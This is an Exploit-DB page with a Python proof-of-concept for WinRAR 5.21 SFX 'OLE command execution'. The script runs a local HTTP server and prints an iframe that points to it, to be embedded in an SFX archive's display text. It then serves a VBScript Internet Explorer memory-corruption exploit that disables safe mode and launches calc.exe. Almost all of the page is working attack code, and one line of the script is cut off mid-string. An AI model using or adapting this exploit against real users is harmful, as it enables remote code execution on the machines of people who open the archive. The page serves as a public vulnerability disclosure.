WinRar 5.21 - SFX OLE Command Execution

EDB-ID: 38319	**CVE:** N/A	**OSVDB-ID:** N/A
Verified: ✖	**Author:** R-73eN (https://www.exploit-db.com/author/?a=7814)	**Published:** 2015-09-25
Download Exploit: Source (/download/38319) Raw	**Download Vulnerable App:** (/apps/8bf5d9768ca315edcec9cdd27ebc09d1-wrar521.exe)	

« Previous Exploit (https://www.exploit-db.com/exploits/38318/)

Next Exploit » (https://www.exploit-db.com/exploits/38320/)

```
#!/usr/bin/python -w
# Title : WinRar SFX OLE Command Execution
# Date : 25/09/2015
# Author : R-73eN
# Tested on : Windows Xp SP3 with WinRAR 5.21
#
# Triggering the Vulnerability
# Run this python script
# Right click a file and then click on add to archive.
# check the 'Create SFX archive' box
# go to Advanced tab
# go to SFX options
# go to Text And icon
# copy the code that the script will generate to 'Text to display into sfx
# Click OK two times and the sfx archive is generated.
# If someone opens that sfx archive a calculator should pop up.
#
# Video : https://youtu.be/vIslLJYvnaM
#

banner = ""
banner +="  ___        __        ____                 _    _     \n"
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

import socket

CRLF = "\r\n"
#OLE command execution
exploit = """<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
```

```
<head>
</head>
<body>

<SCRIPT LANGUAGE="VBScript">

function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "calc.exe", "runas", 0
end function
</script>

<SCRIPT LANGUAGE="VBScript">

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
            intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function

  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(0
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()
     else
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
```

```
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)
     redim  Preserve aa(a0)
end function


function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=rum(i+8)
    i=rum(i+16)
    j=rum(i+&h134)
    for k=0 to &h60 step 4
        j=rum(i+&h120+k)
        if(j=14) then
              j=0
              redim  Preserve aa(a2)
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)

     j=0
              j=rum(i+&h120+k)

               Exit for
           end if

    next
    ab(2)=1.69759663316747E-313
    runmumaa()
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
```

```
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim  Preserve aa(a0)
    redim   ab(a0)

    redim  Preserve aa(a2)

    type1=1
    ab(0)=1.12345678901234567890123456789O
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then
                 If(IsObject(aa(a1)) = False ) Then
                   type1=VarType(aa(a1))
                 end if
              end if
           else
             redim  Preserve aa(a0)
             exit  function

           end if
        else
           if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if
            end if
        end if
    end if


    If(type1=&h2f66) Then
          Over=True
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If

    redim  Preserve aa(a0)

end function

function rum(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4
    ab(0)=1.69759663316747E-313
    rum=lenb(aa(a1))

    ab(0)=0
    redim  Preserve aa(a0)
end function

</script>
```

```
</body>
</html>"""
response = "HTTP/1.1 200 OK" + CRLF + "Content-Type: text/html" + CRLF + "
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = raw_input(" Enter Local IP: ")
server_address = (host, 8080)
sock.bind(server_address)
print "[+] Server started " + host +  " [+]"
sock.listen(1)
print "[+] Insert this code on the 'Text to display into sfx windows' [+]"
print "\n<iframe src='http://" + host + ":8080/'> </iframe>"
print "\n[+] Waiting for request . . . [+]"
connection, client_address = sock.accept()
while True:
    connection.recv(2048)
    print "[+] Got request , sending exploit . . .[+]"
    connection.send(exploit)
    print "[+] Exploit sent , A calc should pop up . .  [+]"
    print "\nhttps://www.infogen.al/\n"
    exit(0)
```